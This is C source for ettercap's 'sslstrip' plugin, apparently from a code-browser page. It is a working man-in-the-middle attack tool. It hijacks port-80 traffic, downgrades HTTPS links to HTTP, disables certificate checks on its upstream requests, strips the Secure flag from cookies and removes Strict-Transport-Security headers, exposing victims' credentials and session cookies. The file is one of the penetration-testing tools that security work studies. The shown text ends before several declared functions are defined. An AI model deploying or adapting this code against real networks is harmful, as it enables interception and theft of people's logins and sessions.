1 /*
2 sslstrip -- ettercap plugin -- SSL Strip per Moxie (http://www.thoughtcrime.org/software/sslstrip/)
3
4 Copyright (C) Ettercap Development Team. 2012.
5
6 This program is free software; you can redistribute it and/or modify
7 it under the terms of the GNU General Public License as published by
8 the Free Software Foundation; either version 2 of the License, or
9 (at your option) any later version.
10
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 GNU General Public License for more details.
15
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software
18 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19
20 */
21
22
23 #include <ec.h>
24 #include <ec_stdint.h>
25 #include <ec_inet.h>
26 #include <ec_plugins.h>
27 #include <ec_hook.h>
28 #include <ec_send.h>
29 #include <ec_socket.h>
30 #include <ec_threads.h>
31 #include <ec_decode.h>
32 #include <ec_utils.h>
33 #include <ec_sleep.h>
34 #include <ec_redirect.h>
35
36 #include <pcre.h>
37
38 #ifndef HAVE_STRNDUP
39 #include <missing/strndup.h>
40 #endif
41
42 #ifdef OS_LINUX
43 #include <linux/netfilter_ipv4.h>
44 #endif
45 #if defined OS_LINUX && defined WITH_IPV6
46 #include <linux/netfilter_ipv6/ip6_tables.h>
47 #endif
48
49
50 #ifdef HAVE_SYS_POLL_H
51 #include <sys/poll.h>
52 #endif
53
54 #include <curl/curl.h>
55
56 #if (LIBCURL_VERSION_MAJOR < 7) || (LIBCURL_VERSION_MINOR < 26)
57 #error libcurl 7.26.0 or up is needed
58 #endif
59
60 /*
61 * This plugin will basically replace all https links sent to the user's browser with http
62 * but keep track of those https links to send a proper HTTPS request to the links when requested.
63 */
64
65
66 #if defined(OS_DARWIN) || defined(OS_BSD)
67 #define SSLSTRIP_SET "21"
68 #endif
69
70 //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)://([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)"
71 //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)(\\%3A|\\%3a|:)//([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)"
72 #define URL_PATTERN "(https://[\\w\\d:#@%/;$()~_?\\+=\\\\.&-]*)"
73 //#define COOKIE_PATTERN "Set-Cookie: (.*?;)(.?Secure;|.?Secure)(.*?)\r\n"
74 #define COOKIE_PATTERN "Set-Cookie: ([ \\w\\d:#@%/;$()~_?\\+=\\\\.&-]+); ?Secure"
75
76
77 #define REQUEST_TIMEOUT 120 /* If a request has not been used in 120 seconds, remove it from list */
78
79 #define HTTP_RETRY 500
80 #define HTTP_WAIT 10 /* milliseconds */
81
82 #define PROTO_HTTP 1
83 #define PROTO_HTTPS 2
84
85 #define HTTP_GET (1<<16)
86 #define HTTP_POST (1<<24)
87
88 #define HTTP_MAX (1024*200) //200KB max for HTTP requests.
89
90 #define BREAK_ON_ERROR(x,y,z) do { \
91 if (x == -E_INVALID ) { \
92 http_wipe_connection(y); \
93 SAFE_FREE(z.DATA.data); \
94 SAFE_FREE(z.DATA.disp_data); \
95 ec_thread_exit(); \
96 } \
97 } while(0)
98
99
100
101 /* lists */
102 struct http_ident {
103 u_int32 magic;
104 #define HTTP_MAGIC 0x0501e77f
105 struct ip_addr L3_src;
106 u_int16 L4_src;
107 u_int16 L4_dst;
108 };
109
110 #define HTTP_IDENT_LEN sizeof(struct http_ident)
111
112 struct https_link {
113 char *url;
114 time_t last_used;
115 LIST_ENTRY (https_link) next;
116 };
117
118 struct http_request {
119 int method;
120 struct curl_slist *headers;
121 char *url;
122 char *payload;
123 };
124
125 struct http_response {
126 char *html;
127 unsigned long int len;
128 };
129
130 struct http_connection {
131 int fd;
132 u_int16 port[2];
133 struct ip_addr ip[2];
134 CURL *handle;
135 struct http_request *request;
136 struct http_response *response;
137 char curl_err_buffer[CURL_ERROR_SIZE];
138 #define HTTP_CLIENT 0
139 #define HTTP_SERVER 1
140 };
141
142 LIST_HEAD(, https_link) https_links;
143 static pthread_mutex_t list_mutex = PTHREAD_MUTEX_INITIALIZER;
144 #define LIST_LOCK do{ pthread_mutex_lock(&list_mutex); } while(0)
145 #define LIST_UNLOCK do{ pthread_mutex_unlock(&list_mutex); } while(0)
146
147 /* globals */
148 static int main_fd, main_fd6;
149 static struct pollfd poll_fd[2];
150 static u_int16 bind_port;
151 static pcre *https_url_pcre;
152 static regex_t find_cookie_re;
153
154 /* protos */
155 int plugin_load(void *);
156 static int sslstrip_init(void *);
157 static int sslstrip_fini(void *);
158 static void sslstrip(struct packet_object *po);
159 static int sslstrip_is_http(struct packet_object *po);
160
161 #ifndef OS_LINUX
162 static void sslstrip_create_session(struct ec_session **s, struct packet_object *po);
163 static int sslstrip_match(void *id_sess, void *id_curr);
164 static size_t http_create_ident(void **i, struct packet_object *po);
165 #endif
166
167 /* http stuff */
168 static void Find_Url(u_char *to_parse, char **ret);
169
170
171 static int http_sync_conn(struct http_connection *connection);
172 static int http_get_peer(struct http_connection *connection);
173 static int http_read(struct http_connection *connection, struct packet_object *po);
174 static int http_write(int fd, char *ptr, unsigned long int total_len);
175 static void http_remove_header(char *header, struct http_connection *connection);
176 static void http_update_content_length(struct http_connection *connection);
177 static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len);
178 static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po);
179 static void http_wipe_connection(struct http_connection *connection);
180 static void http_handle_request(struct http_connection *connection, struct packet_object *po);
181 static void http_send(struct http_connection *connection, struct packet_object *po, int proto);
182 static void http_remove_https(struct http_connection *connection);
183 static void http_remove_secure_from_cookie(struct http_connection *connection);
184 static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata);
185 //static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream);
186
187
188
189 /* thread stuff */
190 static int http_bind_wrapper(void);
191 static EC_THREAD_FUNC(http_child_thread);
192 static EC_THREAD_FUNC(http_accept_thread);
193
194 /*
195 * Custom flag used by plugin to mark packets coming
196 * from this plugin
197 */
198
199 #define PO_FROMSSLSTRIP ((u_int16)(1<<13))
200
201 struct plugin_ops sslstrip_ops = {
202 .ettercap_version = EC_VERSION, /* must match global EC_VERSION */
203 .name = "sslstrip",
204 .info = "SSLStrip plugin",
205 .version = "1.2",
206 .init = &sslstrip_init,
207 .fini = &sslstrip_fini,
208 };
209
plugin_load(void * handle)210 int plugin_load(void *handle)
211 {
212 return plugin_register(handle, &sslstrip_ops);
213 }
214
sslstrip_init(void * dummy)215 static int sslstrip_init(void *dummy)
216 {
217 const char *error;
218 int erroroffset;
219 int err;
220 char errbuf[100];
221
222 /* variable not used */
223 (void) dummy;
224
225 /*
226 * Add IPTables redirect for port 80
227 */
228 if (http_bind_wrapper() != E_SUCCESS) {
229 USER_MSG("SSLStrip: plugin load failed: Could not set up HTTP redirect\n");
230 return PLUGIN_FINISHED;
231 }
232
233 https_url_pcre = pcre_compile(URL_PATTERN, PCRE_MULTILINE|PCRE_CASELESS, &error, &erroroffset, NULL);
234
235 if (!https_url_pcre) {
236 USER_MSG("SSLStrip: plugin load failed: pcre_compile failed (offset: %d), %s\n", erroroffset, error);
237 ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4,
238 NULL, 80, bind_port);
239 #ifdef WITH_IPV6
240 ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6,
241 NULL, 80, bind_port);
242 #endif
243
244 return PLUGIN_FINISHED;
245 }
246
247 err = regcomp(&find_cookie_re, COOKIE_PATTERN, REG_EXTENDED | REG_NEWLINE | REG_ICASE);
248 if (err) {
249 regerror(err, &find_cookie_re, errbuf, sizeof(errbuf));
250 USER_MSG("SSLStrip: plugin load failed: Could not compile find_cookie regex: %s (%d)\n", errbuf, err);
251 pcre_free(https_url_pcre);
252 ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV4,
253 NULL, 80, bind_port);
254 #ifdef WITH_IPV6
255 ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV6,
256 NULL, 80, bind_port);
257 #endif
258
259 return PLUGIN_FINISHED;
260 }
261
262 hook_add(HOOK_HANDLED, &sslstrip);
263
264 /* start HTTP accept thread */
265
266
267 ec_thread_new_detached("http_accept_thread", "HTTP Accept thread", &http_accept_thread, NULL, 1);
268
269 USER_MSG("SSLStrip Plugin version 1.2 is still under experimental mode. Please reports any issues to the development team.\n");
270 return PLUGIN_RUNNING;
271 }
272
sslstrip_fini(void * dummy)273 static int sslstrip_fini(void *dummy)
274 {
275
276 /* variable not used */
277 (void) dummy;
278
279 DEBUG_MSG("SSLStrip: Removing redirect\n");
280 if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4,
281 NULL, 80, bind_port) != E_SUCCESS) {
282 USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so "
283 "manually.\n");
284 }
285 #ifdef WITH_IPV6
286 if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6,
287 NULL, 80, bind_port) != E_SUCCESS) {
288 USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so "
289 "manually.\n");
290 }
291 #endif
292
293 // Free regexes.
294 if (https_url_pcre)
295 pcre_free(https_url_pcre);
296
297 regfree(&find_cookie_re);
298
299 /* stop accept wrapper */
300 pthread_t pid = ec_thread_getpid("http_accept_thread");
301
302 if (!pthread_equal(pid, ec_thread_getpid(NULL)))
303 ec_thread_destroy(pid);
304
305 /* now destroy all http_child_thread */
306 do {
307 pid = ec_thread_getpid("http_child_thread");
308
309 if(!pthread_equal(pid, ec_thread_getpid(NULL)))
310 ec_thread_destroy(pid);
311
312 } while (!pthread_equal(pid, ec_thread_getpid(NULL)));
313
314 close(main_fd);
315 #ifdef WITH_IPV6
316 close(main_fd6);
317 #endif
318
319 /* Remove hook point */
320 hook_del(HOOK_HANDLED, &sslstrip);
321
322 return PLUGIN_FINISHED;
323 }
324
sslstrip_is_http(struct packet_object * po)325 static int sslstrip_is_http(struct packet_object *po)
326 {
327 /* if already coming from SSLStrip or proto is not TCP */
328 if (po->flags & PO_FROMSSLSTRIP || po->L4.proto != NL_TYPE_TCP)
329 return 0;
330
331 if (ntohs(po->L4.dst) == 80 ||
332 ntohs(po->L4.src) == 80)
333 return 1;
334
335 if (strstr((const char*)po->DATA.data, "HTTP/1.1") ||
336 strstr((const char*)po->DATA.data, "HTTP/1.0"))
337 return 1;
338 return 0;
339 }
340
341 #ifndef OS_LINUX
sslstrip_match(void * id_sess,void * id_curr)342 static int sslstrip_match(void *id_sess, void *id_curr)
343 {
344 struct http_ident *ids = id_sess;
345 struct http_ident *id = id_curr;
346
347 /* sanity checks */
348 BUG_IF(ids == NULL);
349 BUG_IF(id == NULL);
350
351 /* check magic */
352 if (ids->magic != id->magic)
353 return 0;
354
355 if (ids->L4_src == id->L4_src &&
356 ids->L4_dst == id->L4_dst &&
357 !ip_addr_cmp(&ids->L3_src, &id->L3_src))
358 return 1;
359
360 return 0;
361 }
362
sslstrip_create_session(struct ec_session ** s,struct packet_object * po)363 static void sslstrip_create_session(struct ec_session **s, struct packet_object *po)
364 {
365 void *ident;
366 DEBUG_MSG("sslstrip_create_session");
367
368 /* allocate the session */
369 SAFE_CALLOC(*s, 1, sizeof(struct ec_session));
370
371 /* create the ident */
372 (*s)->ident_len = http_create_ident(&ident, po);
373
374 /* link to the session */
375 (*s)->ident = ident;
376
377 /* the matching function */
378 (*s)->match = sslstrip_match;
379
380 /* alloc of data elements */
381 SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_addr));
382 }
383 #endif
384
385 /*
386 * Filter HTTP related packets and create NAT sessions
387 */
sslstrip(struct packet_object * po)388 static void sslstrip(struct packet_object *po)
389 {
390
391 if (!sslstrip_is_http(po))
392 return;
393
394 /* If it's an HTTP packet, don't forward it */
395 po->flags |= PO_DROPPED;
396
397
398 if ( (po->flags & PO_FORWARDABLE) &&
399 (po->L4.flags & TH_SYN) &&
400 !(po->L4.flags & TH_ACK) ) {
401 #ifndef OS_LINUX
402 struct ec_session *s = NULL;
403 sslstrip_create_session(&s, PACKET);
404 memcpy(s->data, &po->L3.dst, sizeof(struct ip_addr));
405 session_put(s);
406
407 #endif
408 } else {
409 po->flags |= PO_IGNORE;
410 }
411
412 }
413
414 /* Unescape the string */
Decode_Url(u_char * src)415 static void Decode_Url(u_char *src)
416 {
417 u_char t[3];
418 u_int32 i, j, ch;
419
420 /* Paranoid test */
421 if (!src)
422 return;
423
424 /* NULL terminate for the strtoul */
425 t[2] = 0;
426
427 for (i=0, j=0; src[i] != 0; i++, j++) {
428 ch = (u_int32)src[i];
429 if (ch == '%' && isxdigit((u_int32)src[i + 1]) && isxdigit((u_int32)src[i + 2])) {
430 memcpy(t, src+i+1, 2);
431 ch = strtoul((char *)t, NULL, 16);
432 i += 2;
433 }
434 src[j] = (u_char)ch;
435 }
436 src[j] = 0;
437 }
438
439 /* Gets the URL from the request */
Find_Url(u_char * to_parse,char ** ret)440 static void Find_Url(u_char *to_parse, char **ret)
441 {
442 u_char *fromhere, *page=NULL, *host=NULL;
443 u_int32 len;
444 char *tok;
445
446 if (!strncmp((char *)to_parse, "GET ", 4))
447 to_parse += strlen("GET ");
448 else if (!strncmp((char *)to_parse, "POST ", 5))
449 to_parse += strlen("POST ");
450 else
451 return;
452
453 /* Get the page from the request */
454 page = (u_char *)strdup((char *)to_parse);
455 if(page == NULL)
456 {
457 USER_MSG("SSLStrip: Find_Url: page is NULL\n");
458 return;
459 }
460
461 ec_strtok((char *)page, " HTTP", &tok);
462
463 /* If the path is relative, search for the Host */
464 if ((*page=='/') && (fromhere = (u_char *)strstr((char *)to_parse, "Host: "))) {
465 host = (u_char *)strdup( (char *)fromhere + strlen("Host: ") );
466 if(host == NULL)
467 {
468 USER_MSG("SSLStrip: Find_Url: host is NULL\n");
469 return;
470 }
471 ec_strtok((char *)host, "\r", &tok);
472 } else {
473 host = (u_char*)strdup("");
474 if(host == NULL)
475 {
476 USER_MSG("SSLStrip: Find_Url: relative path, but host is NULL\n");
477 return;
478 }
479 }
480
481 len = strlen((char *)page) + strlen((char *)host) + 2;
482 SAFE_CALLOC(*ret, len, sizeof(char));
483 snprintf(*ret, len, "%s%s", host, page);
484
485 SAFE_FREE(page);
486 SAFE_FREE(host);
487
488 Decode_Url((u_char *)*ret);
489 }
490
491
EC_THREAD_FUNC(http_accept_thread)492 static EC_THREAD_FUNC(http_accept_thread)
493 {
494 struct http_connection *connection;
495 struct sockaddr_storage client_ss;
496 u_int len = sizeof(client_ss);
497 int optval = 1, fd = 0, nfds = 1;
498 socklen_t optlen = sizeof(optval);
499 struct sockaddr *sa;
500 struct sockaddr_in *sa4;
501 #ifdef WITH_IPV6
502 struct sockaddr_in6 *sa6;
503 #endif
504
505
506 /* variable not used */
507 (void) EC_THREAD_PARAM;
508
509 ec_thread_init();
510
511 DEBUG_MSG("SSLStrip: http_accept_thread initialized and ready");
512
513 poll_fd[0].fd = main_fd;
514 poll_fd[0].events = POLLIN;
515 #ifdef WITH_IPV6
516 poll_fd[1].fd = main_fd6;
517 poll_fd[1].events = POLLIN;
518 nfds++;
519 #endif
520
521 LOOP {
522
523 /* wait until one file descriptor becomes active */
524 poll(poll_fd, nfds, -1);
525
526 /* check which file descriptor became active */
527 if (poll_fd[0].revents & POLLIN)
528 fd = poll_fd[0].fd;
529 #ifdef WITH_IPV6
530 else if (poll_fd[1].revents & POLLIN)
531 fd = poll_fd[1].fd;
532 #endif
533 else
534 continue;
535
536 /* accept incoming connection */
537 SAFE_CALLOC(connection, 1, sizeof(struct http_connection));
538 BUG_IF(connection==NULL);
539
540 SAFE_CALLOC(connection->request, 1, sizeof(struct http_request));
541 BUG_IF(connection->request==NULL);
542
543 SAFE_CALLOC(connection->response, 1, sizeof(struct http_response));
544 BUG_IF(connection->response==NULL);
545
546 connection->fd = accept(fd, (struct sockaddr *)&client_ss, &len);
547
548 DEBUG_MSG("SSLStrip: Received connection: %p %p\n", connection, connection->request);
549 if (connection->fd == -1) {
550 DEBUG_MSG("SSLStrip: Failed to accept connection: %s.", strerror(errno));
551 SAFE_FREE(connection->request);
552 SAFE_FREE(connection->response);
553 SAFE_FREE(connection);
554 continue;
555 }
556
557 sa = (struct sockaddr *)&client_ss;
558 switch (sa->sa_family) {
559 case AF_INET:
560 sa4 = (struct sockaddr_in *)&client_ss;
561 ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr));
562 connection->port[HTTP_CLIENT] = sa4->sin_port;
563 break;
564 #ifdef WITH_IPV6
565 case AF_INET6:
566 sa6 = (struct sockaddr_in6 *)&client_ss;
567 ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr));
568 connection->port[HTTP_CLIENT] = sa6->sin6_port;
569 break;
570 #endif
571 }
572
573 connection->port[HTTP_SERVER] = htons(80);
574 //connection->request->len = 0;
575
576 /* set SO_KEEPALIVE */
577 if (setsockopt(connection->fd, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen) < 0) {
578 DEBUG_MSG("SSLStrip: Could not set up SO_KEEPALIVE");
579 }
580 /* create detached thread */
581 ec_thread_new_detached("http_child_thread", "http child", &http_child_thread, connection, 1);
582 }
583
584 return NULL;
585 }
586
http_get_peer(struct http_connection * connection)587 static int http_get_peer(struct http_connection *connection)
588 {
589
590 #ifndef OS_LINUX
591 struct ec_session *s = NULL;
592 struct packet_object po;
593 void *ident= NULL;
594 int i;
595
596 memcpy(&po.L3.src, &connection->ip[HTTP_CLIENT], sizeof(struct ip_addr));
597 po.L4.src = connection->port[HTTP_CLIENT];
598 po.L4.dst = connection->port[HTTP_SERVER];
599
600 http_create_ident(&ident, &po);
601
602 /* Wait for sniffing thread */
603 for (i=0; i<HTTP_RETRY && session_get_and_del(&s, ident, HTTP_IDENT_LEN)!=E_SUCCESS; i++)
604 ec_usleep(MILLI2MICRO(HTTP_WAIT));
605
606 if (i==HTTP_RETRY) {
607 SAFE_FREE(ident);
608 return -E_INVALID;
609 }
610
611 memcpy(&connection->ip[HTTP_SERVER], s->data, sizeof(struct ip_addr));
612
613 SAFE_FREE(s->data);
614 SAFE_FREE(s);
615 SAFE_FREE(ident);
616 #else
617 struct sockaddr_storage ss;
618 struct sockaddr_in *sa4;
619 #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST
620 struct sockaddr_in6 *sa6;
621 #endif
622 socklen_t ss_len = sizeof(struct sockaddr_storage);
623 switch (ntohs(connection->ip[HTTP_CLIENT].addr_type)) {
624 case AF_INET:
625 if (getsockopt (connection->fd, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) {
626 WARN_MSG("getsockopt failed: %s", strerror(errno));
627 return -E_INVALID;
628 }
629 sa4 = (struct sockaddr_in *)&ss;
630 ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr));
631 break;
632 #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST
633 case AF_INET6:
634 if (getsockopt (connection->fd, IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) {
635 WARN_MSG("getsockopt failed: %s", strerror(errno));
636 return -E_INVALID;
637 }
638 sa6 = (struct sockaddr_in6 *)&ss;
639 ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr));
640 break;
641 #endif
642 }
643
644 #endif
645
646 return E_SUCCESS;
647
648 }
649
650
651 #ifndef OS_LINUX
http_create_ident(void ** i,struct packet_object * po)652 static size_t http_create_ident(void **i, struct packet_object *po)
653 {
654 struct http_ident *ident;
655
656 SAFE_CALLOC(ident, 1, sizeof(struct http_ident));
657
658 ident->magic = HTTP_MAGIC;
659
660 memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr));
661 ident->L4_src = po->L4.src;
662 ident->L4_dst = po->L4.dst;
663
664 /* return the ident */
665 *i = ident;
666 return sizeof(struct http_ident);
667 }
668 #endif
669
http_sync_conn(struct http_connection * connection)670 static int http_sync_conn(struct http_connection *connection)
671 {
672 if (http_get_peer(connection) != E_SUCCESS)
673 return -E_INVALID;
674
675
676 set_blocking(connection->fd, 0);
677 return E_SUCCESS;
678 }
679
http_read(struct http_connection * connection,struct packet_object * po)680 static int http_read(struct http_connection *connection, struct packet_object *po)
681 {
682 int len = 0, ret = -E_INVALID;
683 int loops = HTTP_RETRY;
684
685 do {
686 len = read(connection->fd, po->DATA.data, HTTP_MAX);
687
688
689 if(len <= 0) {
690 /* in non-blocking mode we have to evaluate the socket error */
691 int err = 0;
692 err = GET_SOCK_ERRNO();
693
694 if (err == EINTR || err == EAGAIN) {
695 /* data not yet arrived, wait a bit and keep trying */
696 ec_usleep(MILLI2MICRO(HTTP_WAIT));
697 }
698 else
699 /* something went wrong */
700 break;
701 }
702 else {
703 /* we got data - break up */
704 ret = E_SUCCESS;
705 break;
706 }
707 } while (--loops > 0);
708
709 po->DATA.len = len;
710
711 /* either we got data or something went wrong or timed out */
712 return ret;
713 }
714
http_handle_request(struct http_connection * connection,struct packet_object * po)715 static void http_handle_request(struct http_connection *connection, struct packet_object *po)
716 {
717 struct https_link *link;
718
719 SAFE_CALLOC(connection->request->url, 1, 512);
720
721 if (connection->request->url==NULL)
722 return;
723
724 Find_Url(po->DATA.data, &connection->request->url);
725
726 if (connection->request->url == NULL) {
727 return;
728 }
729
730
731 //parse HTTP request
732 if (!memcmp(po->DATA.data, "GET", 3)) {
733 connection->request->method = HTTP_GET;
734 } else if (!memcmp(po->DATA.data, "POST", 4)) {
735 connection->request->method = HTTP_POST;
736 }
737
738 char *r = (char*)po->DATA.data;
739
740 //Skip the first line of request
741 if ((r = strstr((const char*)po->DATA.data, "\r\n")) == NULL)
742 return; // This doesn't seem to look as a HTTP header
743
744 r += 2; //Skip \r\n
745
746 char *h = strdup(r);
747 char *body = strdup(r);
748 BUG_IF(h==NULL);
749 BUG_IF(body==NULL);
750
751 char *end_header = strstr(h, "\r\n\r\n");
752
753 if (!end_header)
754 {
755 SAFE_FREE(h);
756 SAFE_FREE(body);
757 return; //Something went really wrong here
758 }
759 *end_header = '\0';
760
761 char *header;
762 char *saveptr;
763 header = ec_strtok(h, "\r\n", &saveptr);
764
765 while(header) {
766 connection->request->headers = curl_slist_append(connection->request->headers, header);
767 header = ec_strtok(NULL, "\r\n", &saveptr);
768 }
769
770 SAFE_FREE(h);
771
772 char *b = strstr(body, "\r\n\r\n");
773
774 if (b != NULL) {
775 b += 4;
776 connection->request->payload = strdup(b);
777 BUG_IF(connection->request->payload == NULL);
778 }
779
780 SAFE_FREE(body);
781
782
783 int proto = PROTO_HTTP;
784
785 LIST_LOCK;
786 LIST_FOREACH(link, &https_links, next) {
787 if (!strcmp(link->url, connection->request->url)) {
788 proto = PROTO_HTTPS;
789 break;
790 }
791 }
792
793 LIST_UNLOCK;
794
795
796 switch(proto) {
797 case PROTO_HTTP:
798 DEBUG_MSG("SSLStrip: Sending HTTP request");
799 break;
800 case PROTO_HTTPS:
801 DEBUG_MSG("SSLStrip: Sending HTTPs request");
802 break;
803 }
804
805 http_send(connection,po, proto);
806 }
807
http_send(struct http_connection * connection,struct packet_object * po,int proto)808 static void http_send(struct http_connection *connection, struct packet_object *po, int proto)
809 {
810
811 curl_global_init(CURL_GLOBAL_ALL);
812 connection->handle = curl_easy_init();
813
814 if(!connection->handle) {
815 DEBUG_MSG("SSLStrip: Not enough memory to allocate CURL handle");
816 return;
817 }
818
819 char *url;
820
821 //Allow decoders to run for request
822 if (proto == PROTO_HTTPS) {
823 curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYPEER, 0L);
824 curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYHOST, 0L);
825
826 SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("https://")+1);
827 snprintf(url, strlen(connection->request->url)+strlen("https://")+1, "https://%s", connection->request->url);
828 } else {
829 SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("http://")+1);
830 snprintf(url, strlen(connection->request->url)+strlen("http://")+1, "http://%s", connection->request->url);
831 }
832
833
834 if (url==NULL) {
835 DEBUG_MSG("Not enough memory to allocate for URL %s\n", connection->request->url);
836 return;
837 }
838
839
840 curl_easy_setopt(connection->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
841 curl_easy_setopt(connection->handle, CURLOPT_URL, url);
842 curl_easy_setopt(connection->handle, CURLOPT_WRITEFUNCTION, http_receive_from_server);
843 curl_easy_setopt(connection->handle, CURLOPT_WRITEDATA, connection);
844 curl_easy_setopt(connection->handle, CURLOPT_ERRORBUFFER, connection->curl_err_buffer);
845 curl_easy_setopt(connection->handle, CURLOPT_HEADER, 1L);
846 curl_easy_setopt(connection->handle, CURLOPT_HTTPHEADER, connection->request->headers);
847 curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "gzip");
848 curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "deflate");
849 curl_easy_setopt(connection->handle, CURLOPT_COOKIEFILE, ""); //Initialize cookie engine
850
851 /* Only allow HTTP and HTTPS */
852 curl_easy_setopt(connection->handle, CURLOPT_PROTOCOLS, (long) CURLPROTO_HTTP |
853 (long)CURLPROTO_HTTPS);
854 curl_easy_setopt(connection->handle, CURLOPT_REDIR_PROTOCOLS, (long) CURLPROTO_HTTP |
855 (long) CURLPROTO_HTTPS);
856
857
858 if(connection->request->method == HTTP_POST) {
859 curl_easy_setopt(connection->handle, CURLOPT_POST, 1L);
860 curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDS, connection->request->payload);
861 curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDSIZE, strlen(connection->request->payload));
862 }
863
864
865 if(curl_easy_perform(connection->handle) != CURLE_OK) {
866 DEBUG_MSG("Unable to send request to HTTP server: %s\n", connection->curl_err_buffer);
867 return;
868 } else {
869 DEBUG_MSG("SSLStrip: Sent request to server");
870 }
871
872 DEBUG_MSG("Before removing https: %s", connection->response->html);
873 DEBUG_MSG("SSLStrip: Removing HTTPS");
874 http_remove_https(connection);
875 http_remove_secure_from_cookie(connection);
876
877 if(strstr(connection->response->html, "\r\nContent-Encoding:") ||
878 strstr(connection->response->html, "\r\nTransfer-Encoding:")) {
879 http_remove_header("Content-Encoding", connection);
880 http_remove_header("Transfer-Encoding", connection);
881 }
882
883
884 if(strstr(connection->response->html, "\r\nStrict-Transport-Security:")) {
885 http_remove_header("Strict-Transport-Security", connection);
886 }
887
888 /* adjust content length header value */
889 http_update_content_length(connection);
890
891 DEBUG_MSG("SSLStrip: after removing all %s", connection->response->html);
892 //Send result back to client
893 DEBUG_MSG("SSLStrip: Sending response back to client");
894 if (http_write(connection->fd, connection->response->html, connection->response->len) != E_SUCCESS){
895 DEBUG_MSG("Unable to send HTTP response back to client\n");
896 } else {
897 DEBUG_MSG("Sent HTTP response back to client");
898 }
899
900
901 //Allow decoders to run on HTTP response
902 http_initialize_po(po, (u_char*)connection->response->html, connection->response->len);
903 packet_destroy_object(po);
904 po->len = po->DATA.len;
905 po->L4.flags |= TH_PSH;
906 packet_disp_data(po, po->DATA.data, po->DATA.len);
907
908 DEBUG_MSG("SSLStrip: Calling parser for response");
909 http_parse_packet(connection, HTTP_SERVER, po);
910
911 //Free up request
912 if (connection->request->headers) {
913 curl_slist_free_all(connection->request->headers);
914 connection->request->headers = NULL;
915 }
916
917
918 if (connection->request->method == HTTP_POST) {
919 SAFE_FREE(connection->request->payload);
920 }
921
922 SAFE_FREE(connection->request->url);
923
924 SAFE_FREE(url);
925
926 if(connection->handle) {
927 curl_easy_cleanup(connection->handle);
928 curl_global_cleanup();
929 connection->handle = NULL;
930 }
931
932 DEBUG_MSG("SSLStrip: Done");
933 }
934
http_write(int fd,char * ptr,unsigned long int total_len)935 static int http_write(int fd, char *ptr, unsigned long int total_len)
936 {
937 int len, err;
938 unsigned int bytes_sent = 0;
939 int bytes_remaining = total_len;
940
941 DEBUG_MSG("SSLStrip: Total length %lu", total_len);
942
943 while (bytes_sent < total_len) {
944
945 if(!ptr)
946 break;
947 len = write(fd, ptr+bytes_sent, bytes_remaining);
948
949 if (len <= 0) {
950 err = GET_SOCK_ERRNO();
951 DEBUG_MSG("http_write: SOCK ERR: %d", err);
952 if (err != EAGAIN && err != EINTR)
953 return -E_INVALID;
954 }
955
956 DEBUG_MSG("SSLStrip: Sent %d bytes", len);
957
958 bytes_sent += len;
959 bytes_remaining -= len;
960
961 DEBUG_MSG("SSLStrip: Bytes sent %d", bytes_sent);
962 ec_usleep(MILLI2MICRO(100)); // 100ms
963
964
965 }
966
967 return E_SUCCESS;
968 }
969
970 #if 0
971 static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream)
972 {
973 struct packet_object *po = (struct packet_object *)stream;
974
975 DEBUG_MSG("SSLStrip: PO LEN : %ld Size: %ld", po->DATA.len, (size*nmemb));
976 DEBUG_MSG("SSLStrip: Copying %s", po->DATA.data);
977 if ((size*nmemb) < po->DATA.len) {
978 memcpy(ptr, po->DATA.data, size*nmemb);
979 return size*nmemb;
980 } else {
981 memcpy(ptr, po->DATA.data, po->DATA.len);
982 return po->DATA.len;
983 }
984 }
985 #endif
986
987
